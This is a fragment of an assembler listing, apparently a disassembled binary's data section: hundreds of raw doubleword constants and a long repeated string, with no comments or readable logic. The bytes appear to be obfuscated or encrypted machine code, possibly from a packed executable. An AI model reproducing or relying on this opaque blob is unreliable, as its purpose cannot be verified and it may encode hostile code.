		dd 5A1D376Eh, 85F5BF66h, 0C3B70F53h, 0F5BF665Ah, 820F53A1h
		dd 12h,	0DE9h, 0BE322900h, 71CDA0E3h, 0CC12E310h, 0E859806Dh
		dd 11h,	0E0A71E00h, 30E34E49h, 7CDDCFF1h, 54921221h, 48C3814Ch
		dd 5B5F2532h, 11E9h, 7DB99400h,	0BBDFB591h, 6FB2AA33h
		dd 5673206Bh, 81662ACAh, 8119BBD6h, 0B96125F2h,	0FCC8A5Eh
		dd 6657F1BFh, 53F4EB81h, 0B842B659h, 497C4E3h, 8E960F8h
		dd 0DC000000h, 0AB1468CAh, 0F5EA5FBCh, 62F8BF61h, 0E6804433h
		dd 0C28B66C7h, 8AC2B70Fh, 55E080CFh, 8A60C68Ah,	14E8D0h
		dd 418C0000h, 0A18E7B7h, 3DE6F416h, 688D308Fh, 6BB72571h
		dd 81664808h, 5B379AC9h, 57DBBB61h, 0CE84F62h, 13000000h
		dd 1F7E4FDAh, 0C8F6CFC4h, 0E81B49D7h, 9, 0E0366DD2h, 0E8273D0Eh
		dd 0D0B70F9Ah, 0F505A5Bh, 18Ah,	665AF800h, 0B92CE381h
		dd 0F9CA8B66h, 0DE8h, 0F3FD0900h, 0EE514F53h, 6FB986B5h
		dd 0C78B4368h, 9DA815Ah, 0BB533E50h, 54AE7A34h,	2850Fh
		dd 0F48A0000h, 5ECF8166h, 0DA8B66EEh, 0BF66FCF8h, 0B70F1EF6h
		dd 12E9FAh, 88940000h, 0D466CB7Ah, 16E0EE02h, 0A1DE0F42h
		dd 0C56EFF2Eh, 4D3BBA66h, 0CE8h, 0FEFD8200h, 3DB9D473h
		dd 8359B9F8h, 0D8A0F83h, 0E9000000h, 8,	640F4837h, 1D911551h
		dd 0DF8B5759h, 0BE858h,	145E0000h, 0B8473971h, 0A33DF268h
		dd 0D78B66D0h, 8166FC5Eh, 0F51B4E6h, 681h, 2AE78100h, 0F7D6307h
		dd 8Ah,	3CE28100h, 0B04F1C7Bh, 12E9EAh,	0F13F0000h, 75DBDDBCh
		dd 0E38C81F8h, 1E5C492Eh, 1240982Bh, 0C3E38166h, 0C2816672h
		dd 870FF427h, 6, 924CF381h, 10E9387Eh, 0A7000000h, 1DB4997h
		dd 86EF00C3h, 0A0CDE993h, 803EC897h, 7E9A8DDh, 43000000h
		dd 9E2AF47Ah, 8B661EFFh, 0ECF681C1h, 0B83FD349h, 4395A235h
		dd 3880Fh, 8B660000h, 0BAF080F1h, 0B20AE081h, 820F6BB0h
		dd 5, 0DB9612BAh, 60C28B72h, 61CA8B66h,	80B3CE81h, 0F1B770FBh
		dd 0A2C8BF66h, 0F5F3B70Fh, 0E3C78166h, 0C6B70F8Bh, 880Fh
		dd 8B660000h, 2870FDFh,	8B000000h, 11860FD7h, 0E9000000h
		dd 0Ch,	0FC3E0204h, 281070CBh, 0E609F23h, 7D57E981h, 14E95810h
		dd 0F1000000h, 75DBDDBCh, 0E38C81F8h, 1E5C492Eh, 1240982Bh
		dd 0FA524BBh, 68Eh, 0D9D18100h,	0E90CA6C5h, 5, 0FDC1532Dh
		dd 0AE97Bh, 58F20000h, 89D1CEC6h, 0FD5E11A6h, 0F9DED880h
		dd 7DB4D181h, 14E970CAh, 25000000h, 0B8C33935h,	9FEC10F4h
		dd 0A10075F3h, 45F24038h, 0E93AA246h, 8, 0C50EB80Dh, 907BDD9Ch
		dd 8CF780F5h, 48A0FF9h,	57000000h, 0F5BD78Bh, 580h, 0EF3CB800h
		dd 816654ACh, 8A4753C2h, 91D180E2h, 0D98BC68Bh,	811CC880h
		dd 605AEFF7h, 0F6BF0F67h, 7EC68166h, 18E0F42h, 0FC000000h
		dd 66FEB70Fh, 0BEE498BFh, 3202A708h, 81C7BF0Fh,	894BF3F1h
		dd 0F9BF0F72h, 0F60D68Bh, 8Eh, 59F95200h, 0F7CB561h, 68Bh
		dd 6CC28100h, 665D728Bh, 8AD5C3BBh, 0F9B70FE6h,	60DABF0Fh
		dd 2800Fh, 61600000h, 10E961h, 0BDD50000h, 0E9D700Eh, 0DFB42610h
		dd 1D82A720h, 8B0F6587h, 0Ch, 7E9h, 11633300h, 441FFEF1h
		dd 40D4BB66h, 11E8h, 63442500h,	8A24CAF0h, 440E8989h, 0E3EA4DD2h
		dd 0B9664E2Ch, 0BB5EDE4Bh, 1C98FCD6h, 3A38E381h, 81665276h
		dd 6609BFC2h, 4B9ED981h, 0E483B866h, 5D18166h, 0C7E6815Eh
		dd 0BF50DBCAh, 2108D3FFh, 81DF8B66h, 0BE5A22D0h, 53BA666Eh
		dd 58F0F23h, 0B9000000h, 5D49C11Ah, 0FE9F9h, 58C60000h
		dd 171D12BAh, 0A28C0A0Eh, 53A13DB8h, 8BE88A95h,	0AE9F9h
		dd 2A9A0000h, 0B65E68C4h, 80880AA2h, 65FCB957h,	0F590897h
		dd 8166CBB7h, 0B90DC2D6h, 657AA3A6h, 8B31C280h,	60B051F7h
		dd 57CB8A59h, 0B35EDF8Bh, 0BF0FF8F5h, 6830FF9h,	81000000h
		dd 2472B8D3h, 3860F5Bh,	66000000h, 8E9CE8Bh, 34000000h
		dd 7312C8CBh, 66C3FB48h, 0A4D181h, 0CE8h, 4B5BDA00h, 0A895F7D0h
		dd 0AEFA54C0h, 4479BE31h, 6659084Bh, 0BF66F78Bh, 0D8803808h
		dd 0DE8E5h, 0A1740000h,	0CC28F364h, 0A917EEE3h,	0FDA0120h
		dd 280h, 585B5600h, 6657C28Bh, 5A9721BFh, 11E9h, 3BA3AE00h
		dd 6BF42106h, 0E0DC61B7h, 9B438974h, 0FCBECD1Bh, 0B5058BDDh
		dd 0D800FE7h, 0E9000000h, 8, 0A88DF01Ch, 3ECCD5E8h, 94C38166h
		dd 999BA8Ah, 0D2812A1Eh, 67B003ADh, 5E9h, 0ACA8A100h, 14E8812Ch
		dd 0E1000000h, 9860F9A6h, 0BD1E565Fh, 0D78A12C9h, 7475FF9Bh
		dd 0BB867D4Ch, 25E74EA0h, 0FDF8B58h, 484h, 0C4B96600h
		dd 0D88B66E3h, 18B0Fh, 0E8FC0000h, 7, 0A867EEF3h, 607663E2h
		dd 0CE9h, 0C37C3700h, 0DE08314Dh, 34493664h, 36B86689h
		dd 665E61C3h, 0C4CFF781h, 0EE9h, 0EBA5BB00h, 55A565F4h
		dd 81659836h, 0E94B3F77h, 0Ah, 0F7023F78h, 40253057h, 0E85326D9h
		dd 12h,	8A34743Dh, 0C0B0AA39h, 0AA67908Ch, 0C96AC05Eh
		dd 5BB5A101h, 0BF0F5858h, 8166F8D1h, 80D842F1h,	810FDFF4h
		dd 13h,	0BE857h, 0F8D00000h, 0A6FC2B52h, 0B919F62Eh, 0F5E5908h
		dd 281h, 0FF88B00h, 60F5FBB7h, 0C780D78Ah, 0F38B61C3h
		dd 0F08B66FCh, 0FC2B70Fh, 689h,	5AEB8100h, 0F6951E7h, 887h
		dd 0D9815100h, 5697B1A3h, 13E9F85Bh, 0B8000000h, 28A9EF89h
		dd 3681C292h, 147985ECh, 0AF25198Ah, 0BE66B03Ch, 0DA81E2EDh
		dd 209A951h, 0DB8166F5h, 0E38A8CCFh, 38E0Fh, 8B660000h
		dd 40BE66F9h, 9E8B1h, 229C0000h, 93060D19h, 8BD03369h
		dd 0FC5258D0h, 0D9BE665Bh, 0B8BE66F2h, 0F78B66CFh, 0FFD3FFBAh
		dd 0F38B6603h, 81D3BF0Fh, 10BDC3C1h, 0E181514Fh, 2803EB0Fh
		dd 5E95Bh, 7F320000h, 66895DB5h, 0B966DE8Bh, 0CE97B90h
		dd 5C000000h, 0D82DAF3Ch, 730CBB7Ah, 0F9392302h, 9E952h
		dd 0F8CB0000h, 0D625D687h, 5FF94FEBh, 3820Fh, 0BF0F0000h
		dd 12E9FBh, 5E900000h, 0B87C5E2Eh, 37823147h, 6C65C5A1h
		dd 0F4C6EED0h, 10E9h, 0A5A04B00h, 0EE422F62h, 1171DC20h
		dd 8C641CF7h, 9E960F4h,	0BE000000h, 8B59B12Dh, 11B58B16h
		dd 61CA8B66h, 4F1368B9h, 16870F68h, 0E8000000h,	0Eh, 967455Dh
		dd 8DCECA12h, 0AD062F26h, 6160F6FBh, 0EBB9525Fh, 5F7BCA30h
		dd 0B0F9C78Bh, 118A0FB5h, 60000000h, 0E8C9BF0Fh, 6, 0AF69F7D4h
		dd 61591FB0h, 5E9FC8Ah,	75000000h, 4D47346Fh, 0CE8h, 6BF66000h
		dd 0ECAB6419h, 741D31A8h, 5A9BB654h, 14E9h, 96D28F00h
		dd 42570952h, 3C7E1A06h, 5DB623F1h, 0DA5CD0Ch, 0F78B665Ah
		dd 0CE9h, 0CC0F2000h, 0C0D843D8h, 815B0824h, 38B0F8Dh
		dd 66000000h, 0BF0FCA8Bh, 0C8BF0FD8h, 0E6D9FDBAh, 34F58072h
		dd 0BA6060F5h, 5FB7E8EEh, 6E96161h, 5E000000h, 0D2C0368Dh
		dd 0BE6660F1h, 0FE84BB2h, 0D8000000h, 534C2201h, 0F3168316h
		dd 7D280A42h, 6E88FCAh,	0B3000000h, 1589CE0Eh, 61585839h
		dd 0CE90FB2h, 0
		dd 0C5355933h, 3E0E1B1h, 8027530Bh, 0BB6616F4h,	8B52915Fh
		dd 0FE8B5FFEh, 0BE8F5h,	997F0000h, 0C36ED572h, 0C11ED247h
		dd 5FCA8BE2h, 3547BF66h, 0F5FABF0Fh, 11E9h, 9ACDEB00h
		dd 0D97A06A2h, 5ED9C838h, 0A6A076B5h, 0AE9E38Ah, 46000000h
		dd 2C1D1952h, 9D98FE00h, 81666066h, 613F5AEFh, 0B966AAB0h
		dd 8E0F2B3Ah, 0
		dd 7BC181F9h, 0E9176F28h, 5, 75E94B12h,	8E8BEh,	76090000h
		dd 6C0AEE8Ch, 800FAC2Fh, 18h, 13E9h, 3220E400h,	62A0122Fh
		dd 481EBBDCh, 24E29B3Ch, 620020A2h, 0E9FC8A5Bh,	7, 938E40C4h
		dd 81A06A51h, 0E83116E1h, 8D0F70h, 57000000h, 0CEC7B966h
		dd 3BDA805Bh, 1CABEF81h, 0E86063BFh, 0Eh, 4195160Dh, 2053361Eh
		dd 0A2994F8Bh, 11E80283h, 0DA000000h, 89E19872h, 0B471A916h
		dd 0F0AAF980h, 0DCBD436Bh, 0D180585Ah, 8160615Dh, 7B3728D2h
		dd 38C0F25h, 0F000000h,	0B261D6B7h, 15860F29h, 57000000h
		dd 0EE9h, 0DEE6C700h, 1BCE30FAh, 0C3C74CF6h, 5980692Eh
		dd 0F8F0BF0Fh, 9E9h, 525B2300h,	81BAB11Ch, 12E92FFEh, 97000000h
		dd 79EAA3CFh, 9F4505E3h, 54C19852h, 66265235h, 0E9525159h
		dd 0Eh,	40EC2307h, 0C517AAA6h, 0FFD1AC5Bh, 5E59A6EBh, 10E9h
		dd 42DFC600h, 0E9313C3Eh, 1A7075E3h, 7BD445B8h,	2860FC9h
		dd 8B000000h, 0F8BF0FCFh, 0C480F960h, 606061E6h, 0D281DE8Bh
		dd 1E17EF81h, 0B961F961h, 7294E75h, 0C2B70F56h,	0E969B45Fh
		dd 9, 0AAA21600h, 5FB7498Bh, 5E97Fh, 0C6D0000h,	0FD9C67Dh
		dd 682h, 0DBD08100h, 0BE4074FDh, 7EA734B1h, 0E8A0D880h
		dd 13h,	0C9091C0Ah, 201B8E6h, 0A6122D19h, 0DC176B94h, 5F5610DEh
		dd 0BFD88B66h, 11667082h, 0AB17C781h, 8B0F3A04h, 0Ah, 5E9h
		dd 5CFDE800h, 8B66BA72h, 0BF0FFCC1h, 60C8B5F3h,	2890Fh
		dd 5E500000h, 0FC68166h, 7E9617Ch, 79000000h, 60963ABh
		dd 880F3957h, 2, 850FEB8Ah, 3, 0E9F78B66h, 11h,	37BC435Ch
		dd 0D5BFE32Bh, 7A12949h, 0A1FF670Bh, 69B966FDh,	880FF554h
		dd 0
		dd 0CE9h, 73566A00h, 52867CCCh,	5D5C7659h, 0EE96Ah, 72520000h
		dd 70D1D780h, 39A6A1E6h, 3E2EFE1Eh, 6DF9CA81h, 8B66765Eh
		dd 15800FF3h, 60000000h, 0CE96160h, 31000000h, 3881ECF2h
		dd 8D9E48A0h, 61083EF6h, 66E0D580h, 922BEB81h, 60FBBF0Fh
		dd 72EB8152h, 5E2F87B0h, 35EC8061h, 0C820Fh, 66600000h
		dd 0F4A0CBBh, 81h, 0BF0F6100h, 5BC081F7h, 565F4F6Bh, 5EACEA80h
		dd 0E8816060h, 162D6E7Eh, 8E9h,	4B9D0700h, 0BA107242h
		dd 0DE9619Ah, 0B0000000h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh
		dd 0FD40B961h, 12E90EFDh, 0C3000000h, 0ACA12CCCh, 8310D1F7h
		dd 917B3C28h, 0BFCD4E8Bh, 0DE81Fh, 33F60000h, 0E3F77EF7h
		dd 9D34BDABh, 51E7046Ah, 5B59F88Bh, 0CE9h, 0DA999700h
		dd 69D55FEDh, 0F246955Dh, 75A3BF1Bh, 860F332Fh,	16h, 11E9h
		dd 7328C000h, 7FA2FDDEh, 0E231A7A5h, 9F664492h,	0F281D54Dh
		dd 5923C3A7h, 1CF8CB81h, 81667BD2h, 0FD9D6D0h, 28Ch, 60DE8B00h
		dd 0E30DBA66h, 0FE8h, 0E0B49100h, 9F4C2E9Ch, 336A4213h
		dd 0D68EADABh, 61586160h, 0CCC08166h, 7E905h, 0B6590000h
		dd 0C4B8B37Bh, 0FE806h,	2D3C0000h, 968C1E17h, 0A11F41A4h
		dd 0D573B59Dh, 5834B3A5h, 66C6E780h, 0E85CECBAh, 5, 8F8E04F3h
		dd 0EF8166FBh, 8B59439Bh, 0DFBF0FCAh, 8A1ECB81h, 8B665D9Dh
		dd 3860FF9h, 0F000000h,	0BF66D1BFh, 0B70F9A7Eh,	0F9F98BC2h
		dd 1850Fh, 60F80000h, 8B0Fh, 0E9600000h, 13h, 0CFE8E277h
		dd 0B20379CAh, 96AC0A2Eh, 0A6953D84h, 0F967AD5h, 85h, 0F616100h
		dd 181h, 8B66FC00h, 0B9BA66DFh,	0C68B66CBh, 8944F681h
		dd 0FF855FCh, 1387h, 9E800h, 92200000h,	0CECD578Ah, 665DF18Eh
		dd 5B61A5BFh, 20880Fh, 14E80000h, 0F6000000h, 2F40ABA8h
		dd 0AB4DED30h, 88A506F7h, 6284CD85h, 0FE0D658h,	8Bh, 8B665800h
		dd 5830FC6h, 0BE000000h, 79E51E73h, 5840Fh, 81660000h
		dd 0E86662C9h, 12h, 0B3407F97h,	266CB3EFh, 8314C068h, 19393B0Ch
		dd 0BE9C12Ah, 93000000h, 127E98C9h, 92F0F99h, 0F959486Ah
		dd 4BE38166h, 6E96052h,	0BB000000h, 122004BDh, 0EFBA665Bh
		dd 816661D3h, 8165ABD1h, 0B72783D0h, 48C0F27h, 60000000h
		dd 0F616160h, 0BF0FFEB7h, 0E95750DFh, 0Fh, 0D08E3F94h
		dd 1A76EF70h, 652A458Eh, 59930C5Bh, 0C381665Eh,	850F823Ah
		dd 2, 810F53B7h, 1Dh, 178A0Fh, 12E90000h, 6000000h, 0D0336993h
		dd 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh, 1820F38h,	0FC000000h
		dd 0A9DFD781h, 0BF0F3074h, 2860FC0h, 8B000000h,	8B0FFEh
		dd 60000000h, 0CFECB960h, 0E9617C27h, 5, 251F2509h, 0BB576155h
		dd 37B1D8A0h, 0D3BF0F5Eh, 5AD38B52h, 7721D981h,	0F6810F95h
		dd 2173B572h, 3B2C2BB8h, 0E081667Ch, 0D281797Fh, 4F56F45Bh
		dd 0D8CF81BBh, 7E82Fh, 0FAFE0000h, 27B65D50h, 8E89Bh, 3DAB0000h
		dd 0DD4D1762h, 1FB786E2h, 0D88B5F59h, 860F60F5h, 6, 9BA8E081h
		dd 8E94E54h, 34000000h,	1A0B9CABh, 61510C01h, 0F0E88166h
		dd 45B8664Ch, 0E8B6B7F0h, 0Ch, 9E0E0335h, 0C4D39B7Bh, 431613B3h
		dd 5EC9D280h, 84E0F5B9h, 66BB663Bh, 0ECB8080h, 0CE9h, 0D7772900h
		dd 1EAFD77Eh, 0C58C8394h, 60C88B22h, 26E98052h,	5E859h
		dd 574B0000h, 60A8C124h, 0BF615861h, 0E2BFD1Dh,	6E9h, 0D42C00h
		dd 8B27F096h, 8860FF3h,	0F000000h, 28Ch, 0FC616000h, 58E0Fh
		dd 81660000h, 0FEF6CD9h, 1089h,	8E800h,	0A63B0000h, 1CCB48E3h
		dd 5F51FEF8h, 0F9B70F5Fh, 0EB94BE66h, 5E9F9h, 0D5800000h
		dd 0E9AB84B4h, 8, 0C14BCA51h, 0EC78FC85h, 8810Fh, 8B0F0000h
		dd 2, 8060DD8Ah, 58538CD5h, 66D78B61h, 6681ACB8h, 0B80A2DBEh
		dd 64C94D18h, 56E4BBF5h, 8B667AB3h, 3E21BED1h, 0C68B606Ch
		dd 0E99AE580h, 10h, 0DE7EAC52h,	6BB26E82h, 0AFE01D05h
		dd 261C9981h, 0DFA318B9h, 15860F0Dh, 0E9000000h, 10h, 291E2A74h
		dd 9D451378h, 38B54071h, 0C2F6F9B4h, 5321C780h,	0DE853h
		dd 0F6210000h, 0ADD3D23Ah, 0D1F6D666h, 5F452B81h, 8160585Bh
		dd 79841CDAh, 11E85140h, 0E1000000h, 6048F295h,	0CDE8F011h
		dd 0C3855EA9h, 92A877E4h, 5161585Eh, 0FFE98166h, 81665A00h
		dd 0E9A2C7EBh, 9, 0E112D6BAh, 0E889CB83h, 88A0FBCh, 0F000000h
		dd 284h, 0E96EB300h, 14h, 0F39DBFDBh, 8C7609F3h, 2F6C0AEEh
		dd 21D045ACh, 86A0161Eh, 58F0Fh, 81660000h, 0FCE889F3h
		dd 870FF5h, 66000000h, 0FC6D0BBh, 68Ah,	47CE8100h, 0F44410Ch
		dd 0AE9C3B7h, 0FE000000h, 0D922DCDBh, 1C54A250h, 0E8F96013h
		dd 6, 13ED4646h, 6159C768h, 48E0BA66h, 0B16DBB66h, 66F78B66h
		dd 5BBFFE8Bh, 0F71323Fh, 582h, 0D2816600h, 0F78BE5C3h
		dd 11E9h, 62271700h, 0A6F8B429h, 62D3B952h, 2AF9005Dh
		dd 8E0F7021h, 5, 24B7FCBEh, 8BDA8B5Fh, 0CF98B8F1h, 0F88B1DAFh
		dd 83A6B866h, 10E9D08Ah, 0D6000000h, 5E306AC1h,	1934D9CEh
		dd 24233FDFh, 0FCB9E30Dh, 0CAB8BB66h, 9E8h, 545F6600h
		dd 217213Bh, 8F0FD05Fh,	0
		dd 0FD18B59h, 38Eh, 0F6B70F00h,	5E9F5h,	0E6EE0000h, 0F9171F47h
		dd 10E9h, 2E399600h, 0D9E99747h, 70BA460Dh, 3721DBA9h
		dd 3DBEFCF6h, 81481F54h, 5B0018E3h, 0E9566032h,	0Dh, 3CEA843h
		dd 71A0D7D9h, 6C25C4EDh, 840F5A90h, 5, 0F872D9BEh, 0F28B6135h
		dd 13E9h, 7E383F00h, 0E7D0DBB2h, 3B2BEF9Bh, 0BEE73D4Eh
		dd 43840C5Eh, 0BF0F52F9h, 0BB665ADAh, 8166618Dh, 0FF69DE1h
		dd 888h, 0E0815700h, 6BAC6E4Eh,	47DA8158h, 0E819A592h
		dd 0Dh,	687135EDh, 58CD9165h, 36B3F9EBh, 2F56B91Eh, 805E2DDAh
		dd 0F2818DD1h, 4FB35B92h, 188D0Fh, 0FE80000h, 0CD000000h
		dd 0F6FE36D3h, 711F11A9h, 0B40F18D2h, 0C78057F6h, 0C88B5E07h
		dd 0DA42DE81h, 840F6FC2h, 5, 0EAD68166h, 0F6B70F81h, 824941BFh
		dd 870F6017h, 6, 0C1A3DB81h, 0BB5102B3h, 386EF8F0h, 0C781615Bh
		dd 6AB0AC66h, 3FA5BA66h, 0B70FC68Bh, 13E8FEh, 87C30000h
		dd 868A5BBBh, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h,	5810B5A1h
		dd 61605060h, 0F6B70F5Ah, 0D1806061h, 0E28060F2h, 81616147h
		dd 5C68FAF7h, 38B0F72h,	66000000h, 48B7F28Bh, 0E9D7BF0Fh
		dd 12h,	8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 69E27EE8h, 0B550FFACh
		dd 5CB45A06h, 9870Fh, 800F0000h, 3, 0B1F2B70Fh,	3800F42h
		dd 0F000000h, 0B966FEB7h, 0C68114B3h, 239BAB01h, 0BF66F860h
		dd 0E961C030h, 0Eh, 0D914668Bh,	92364F82h, 16753170h, 8B6017CDh
		dd 0FE9D1h, 11C90000h, 0BB0FE53Fh, 81227403h, 0A54F4796h
		dd 850F61F7h, 1, 28D0FFCh, 0B4000000h, 5800F3Ah, 0BB000000h
		dd 10EB2ACAh, 0CDD7F7BFh, 9294BA62h, 870F49C1h,	1, 0D08B66F9h
		dd 13E8h, 30B83F00h, 6BF375FCh,	0A7538BC4h, 0A8277DDFh
		dd 0BB1C7CA2h, 13E9h, 0ADEA0F00h, 47429E17h, 6C3EF27Bh
		dd 0AC983703h, 0BC35E67Ch, 0EA816658h, 1BB23B97h, 8F0FC78Bh
		dd 4, 5BD88B51h, 0F1B96660h, 61C28B9Eh,	0BE66F8F9h, 5E9F0BDh
		dd 0F2000000h, 47A8F2B5h, 537ED081h, 13E96776h,	78000000h
		dd 464AC0FEh, 1A3FC0F9h, 7EA890Dh, 0E43F8A8Ah, 0BE95A73h
		dd 0EA000000h, 9910A70Eh, 0A91CAABDh, 12E985CFh, 0C3000000h
		dd 0ACA12CCCh, 8310D1F7h, 917B3C28h, 0BFCD4E8Bh, 0C4D0811Fh
		dd 0B90C14A8h, 33C9BD54h, 40E2D681h, 38B83504h,	665DD2E9h
		dd 0F5407B8h, 50B9D7BFh, 0F34288Dh, 381h, 0F1BF0F00h, 11E9h
		dd 0E0A2000h, 30D41C87h, 13DFDD18h, 264B5182h, 0FF5F64Dh
		dd 188Fh, 13E900h, 0B2C0000h, 4558870Ah, 0FDE56534h, 0CD196237h
		dd 0ABAD3650h, 0CDE88117h, 0B8586396h, 32776FBh, 4DE38166h
		dd 8B5760C2h, 81665BC8h, 61DC4DDAh, 0B8F0Fh, 820F0000h
		dd 5, 8FCC28BBh, 0F8D88B6Ah, 0DF92B860h, 66611F9Ah, 0F202C981h
		dd 4840Fh, 0B1570000h, 6BB85A6Eh, 660A9736h, 0BF0FD98Bh
		dd 14E9C6h, 6FE50000h, 0CC5063E4h, 68FAE62Bh, 41C83024h
		dd 0C8E699DBh, 9FBFFAA7h, 6009140Fh, 0BF52BFB8h, 0EE950h
		dd 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h, 0F0816661h
		dd 820FC76Ah, 11h, 0BE8h, 8DEE3900h, 0E1FAE9C6h, 89EB885Bh
		dd 66D88B5Bh, 35B4DA81h, 0CE9h,	7EDC3700h, 0DEEC218Eh
		dd 1F952C20h, 8F0F6095h, 0
		dd 11E96061h, 73000000h, 84678A42h, 0F6F5E6BCh,	9E440AB6h
		dd 850F4F51h, 5C15E281h, 0B7614EC9h, 0CFB8667Eh, 38F0FD4h
		dd 0F000000h, 0CE8D9B7h, 2C000000h, 0AD12EA72h,	0D77C8B4Fh
		dd 59931AEDh, 0E8E3E380h, 12h, 0A0668F43h, 8080E576h, 0AB84B4D5h
		dd 0FE7DB4CCh, 0CBB22AF3h, 28A0F5Bh, 8A000000h,	0F08B66EBh
		dd 6880Fh, 0D0810000h, 2E97C4A4h, 2ED68166h, 6E84Bh, 14180000h
		dd 2DE1D41Bh, 13E8h, 321B8A00h,	5B7E73C8h, 0C9613A6Fh
		dd 0BCF5840Eh, 24DC85E1h, 0BE9h, 6218CF00h, 0B25D74E4h
		dd 0F42F84F8h, 0D0B85A5Ah, 66399EADh, 8A0FCA8Bh, 1, 5830FF5h
		dd 57000000h, 5AF7B70Fh, 54A6BB66h, 14E950F5h, 2F000000h
		dd 35496959h, 26C94935h, 0A01AC8E3h, 231C79Ah, 5F4B8C69h
		dd 0CB816651h, 0E95F442Fh, 0Eh,	0F14D03A2h, 0EE9D9042h
		dd 0B2EA12E9h, 816643AFh, 8BAC32CAh, 0C2B70FFBh, 52D98B66h
		dd 5EDABF0Fh, 81D98B66h, 0B59522E8h, 0C6816639h, 0E2B88DFCh
		dd 0F1F58DBh, 168Fh, 11E900h, 356F0000h, 778B887Bh, 0A4B60819h
		dd 0B43C1361h, 0E98A89EDh, 11h,	92EBDB8Bh, 120D6DD3h, 69DB7146h
		dd 0CCDC2D2Bh, 0AE897h,	0E63C0000h, 1BF32575h, 4B2013E5h
		dd 0DE9h, 3736DA00h, 0B63C75h, 29D9CD18h, 665F52D1h, 0E8FB60B9h
		dd 0Bh,	14ACF015h, 0C21AF25Fh, 81DCB239h, 1BCF8FD0h, 0D6815E57h
		dd 30E374ECh, 6600F080h, 860FFE8Bh, 3, 0FCh dup(8A8C373Eh)
		dd 8AB6E35Fh, 139h dup(8A8C373Eh), 0DFBB3BE5h, 8ABB3BE5h
		dd 8ABB373Eh, 221h dup(8A8C373Eh), 2EF0373Eh, 168h dup(2EF03281h)
		dd 4264CF81h, 10h dup(4264E003h), 0B9h dup(0D3DCD26Ch)
		dd 6458886Ch, 195h dup(64588860h), 0E204FEC5h, 2Bh dup(0E204FEC4h)
a77777777777777	db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
		db '|)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |'
		db ')7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)'
		db '7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7'
		db ' |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 |)7 '
